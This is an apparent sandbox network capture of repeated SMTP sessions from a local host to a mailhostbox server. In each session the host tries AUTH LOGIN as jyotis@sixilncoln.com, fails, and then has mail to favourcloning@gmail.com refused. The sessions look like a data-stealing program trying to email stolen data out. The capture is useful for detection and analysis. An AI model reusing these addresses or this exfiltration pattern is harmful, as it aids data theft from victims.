Sep 19, 2024 12:23:36.524127960 CEST	587	61620	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:36.524403095 CEST	61620	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:36.682420015 CEST	587	61620	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:36.688347101 CEST	61620	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:36.874315977 CEST	587	61620	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:37.352116108 CEST	587	61621	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:37.352282047 CEST	61621	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:37.511847019 CEST	587	61621	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:37.512027979 CEST	61621	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:37.688374996 CEST	587	61621	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:38.397269964 CEST	587	61624	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:38.400355101 CEST	61624	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:38.558985949 CEST	587	61624	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:38.559196949 CEST	61624	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:38.722505093 CEST	587	61624	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:39.187166929 CEST	587	61625	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:39.191631079 CEST	61625	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:39.346952915 CEST	587	61625	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:39.347186089 CEST	61625	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:39.505666971 CEST	587	61625	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:40.466319084 CEST	587	61624	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:40.466555119 CEST	61624	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:40.627969980 CEST	587	61624	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:40.628160954 CEST	61624	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:40.807362080 CEST	587	61624	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:41.462362051 CEST	587	61625	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:41.462518930 CEST	61625	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:41.621051073 CEST	587	61625	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:41.621200085 CEST	61625	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:41.797960043 CEST	587	61625	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:42.357266903 CEST	587	61627	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:42.360388994 CEST	61627	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:42.518954992 CEST	587	61627	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:42.519598007 CEST	61627	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:42.681396008 CEST	587	61627	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:43.418534994 CEST	587	61629	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:43.418764114 CEST	61629	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:43.577435970 CEST	587	61629	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:43.577665091 CEST	61629	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:43.739062071 CEST	587	61629	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:44.815325022 CEST	587	61627	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:44.815500021 CEST	61627	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:44.815594912 CEST	587	61627	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:44.975677967 CEST	587	61627	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:44.980225086 CEST	61627	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:45.157860994 CEST	587	61627	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:45.466655970 CEST	587	61629	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:45.466823101 CEST	61629	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:45.627495050 CEST	587	61629	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:45.627643108 CEST	61629	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:45.803284883 CEST	587	61629	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:46.684505939 CEST	587	61632	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:46.684768915 CEST	61632	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:46.841156006 CEST	587	61632	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:46.842761040 CEST	61632	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:47.294374943 CEST	587	61633	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:47.294504881 CEST	61633	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:47.452532053 CEST	587	61633	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:47.452779055 CEST	61633	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:47.610874891 CEST	587	61633	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:51.158401966 CEST	587	61638	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:51.158540964 CEST	61638	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:51.246782064 CEST	587	61639	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:51.246927977 CEST	61639	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:51.319607973 CEST	587	61638	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:51.320455074 CEST	61638	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:51.408229113 CEST	587	61639	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:51.408404112 CEST	61639	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:51.477423906 CEST	587	61638	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:51.571041107 CEST	587	61639	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:53.470848083 CEST	587	61639	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:53.471021891 CEST	61639	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:53.525876045 CEST	587	61638	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:53.525986910 CEST	61638	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:53.635034084 CEST	587	61639	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:53.635298967 CEST	61639	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:53.864763975 CEST	587	61638	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:53.864907026 CEST	61638	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:53.865803003 CEST	587	61639	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:54.047863960 CEST	587	61638	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:54.048151970 CEST	587	61639	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:54.218976021 CEST	587	61638	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:55.532394886 CEST	587	61642	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:55.532547951 CEST	61642	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:55.687222958 CEST	587	61642	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:55.687401056 CEST	61642	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:55.845078945 CEST	587	61642	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:55.859055042 CEST	587	61643	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:23:55.859282017 CEST	61643	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:23:56.019311905 CEST	587	61643	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:23:56.019567013 CEST	61643	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:23:56.192042112 CEST	587	61643	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:23:58.184030056 CEST	587	61642	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:58.186950922 CEST	61642	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:58.187799931 CEST	587	61642	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:58.346004963 CEST	587	61642	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:58.346237898 CEST	61642	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:58.360615969 CEST	587	61643	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:23:58.361329079 CEST	61643	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:23:58.518626928 CEST	587	61642	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:23:58.523624897 CEST	587	61643	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:23:58.524272919 CEST	61643	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:23:58.704483032 CEST	587	61643	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:00.045005083 CEST	587	61646	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:00.045279026 CEST	61646	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:00.208137035 CEST	587	61646	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:00.213181019 CEST	587	61647	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:00.213299036 CEST	61646	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:00.218782902 CEST	61647	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:00.373162031 CEST	587	61647	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:00.375402927 CEST	61647	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:00.378757954 CEST	587	61646	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:00.532694101 CEST	587	61647	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:02.529666901 CEST	587	61647	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:02.530534029 CEST	61647	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:02.533288956 CEST	587	61646	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:02.534852982 CEST	61646	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:02.685805082 CEST	587	61647	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:02.687134981 CEST	61647	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:02.694431067 CEST	587	61646	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:02.694785118 CEST	61646	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:02.967334032 CEST	587	61647	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:02.968831062 CEST	587	61646	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:04.529225111 CEST	587	61650	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:04.530011892 CEST	61650	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:04.573668003 CEST	587	61651	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:04.574053049 CEST	61651	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:04.854744911 CEST	587	61650	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:04.855262995 CEST	587	61651	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:04.855300903 CEST	61650	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:04.859446049 CEST	61651	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:05.016611099 CEST	587	61650	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:05.020829916 CEST	587	61651	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:07.472455978 CEST	587	61650	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:07.472492933 CEST	587	61651	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:07.472628117 CEST	61651	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:07.472682953 CEST	61650	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:07.633399010 CEST	587	61650	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:07.633538008 CEST	61650	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:07.633748055 CEST	587	61651	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:07.633950949 CEST	61651	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:07.871681929 CEST	587	61651	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:07.871702909 CEST	587	61650	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:09.399482012 CEST	587	61654	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:09.399600983 CEST	61654	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:09.401037931 CEST	587	61655	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:09.401149035 CEST	61655	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:09.563047886 CEST	587	61655	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:09.563194036 CEST	61655	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:09.725076914 CEST	587	61655	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:11.053003073 CEST	587	61657	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:11.057168961 CEST	61657	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:11.214119911 CEST	587	61657	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:11.214282990 CEST	61657	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:11.372999907 CEST	587	61657	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:11.488831043 CEST	587	61655	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:11.489088058 CEST	61655	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:11.648936987 CEST	587	61655	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:11.649070024 CEST	61655	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:11.972366095 CEST	587	61655	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:13.479078054 CEST	587	61659	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:13.479218006 CEST	61659	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:13.492153883 CEST	587	61657	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:13.492295980 CEST	61657	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:13.640616894 CEST	587	61659	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:13.640784025 CEST	61659	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:13.651936054 CEST	587	61657	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:13.652159929 CEST	61657	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:13.800013065 CEST	587	61659	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:13.836960077 CEST	587	61657	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:15.627963066 CEST	587	61661	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:15.627990007 CEST	587	61659	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:15.628118992 CEST	61661	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:15.628151894 CEST	61659	587	192.168.2.5	208.91.198.143	MAIL FROM:<jyotis@sixilncoln.com>
Sep 19, 2024 12:24:15.848618984 CEST	587	61661	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:15.848635912 CEST	587	61659	208.91.198.143	192.168.2.5	535 5.7.8 Error: authentication failed: UGFzc3dvcmQ6
Sep 19, 2024 12:24:16.005336046 CEST	587	61661	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:16.005532980 CEST	61661	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:16.008725882 CEST	587	61659	208.91.198.143	192.168.2.5	250 2.1.0 Ok
Sep 19, 2024 12:24:16.008841991 CEST	61659	587	192.168.2.5	208.91.198.143	RCPT TO:<favourcloning@gmail.com>
Sep 19, 2024 12:24:16.162219048 CEST	587	61661	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:16.181294918 CEST	587	61659	208.91.198.143	192.168.2.5	554 5.7.1 <favourcloning@gmail.com>: Relay access denied
Sep 19, 2024 12:24:17.693942070 CEST	587	61664	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:17.694117069 CEST	61664	587	192.168.2.5	208.91.198.143	EHLO 965543
Sep 19, 2024 12:24:17.861510038 CEST	587	61664	208.91.198.143	192.168.2.5	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Sep 19, 2024 12:24:17.861720085 CEST	61664	587	192.168.2.5	208.91.198.143	AUTH login anlvdGlzQHNpeGlsbmNvbG4uY29t
Sep 19, 2024 12:24:18.023763895 CEST	587	61664	208.91.198.143	192.168.2.5	334 UGFzc3dvcmQ6
Sep 19, 2024 12:24:18.573834896 CEST	587	61665	208.91.198.143	192.168.2.5	220 us2.outbound.mailhostbox.com ESMTP Postfix
Sep 19, 2024 12:24:18.574121952 CEST	61665	587	192.168.2.5	208.91.198.143	EHLO 965543
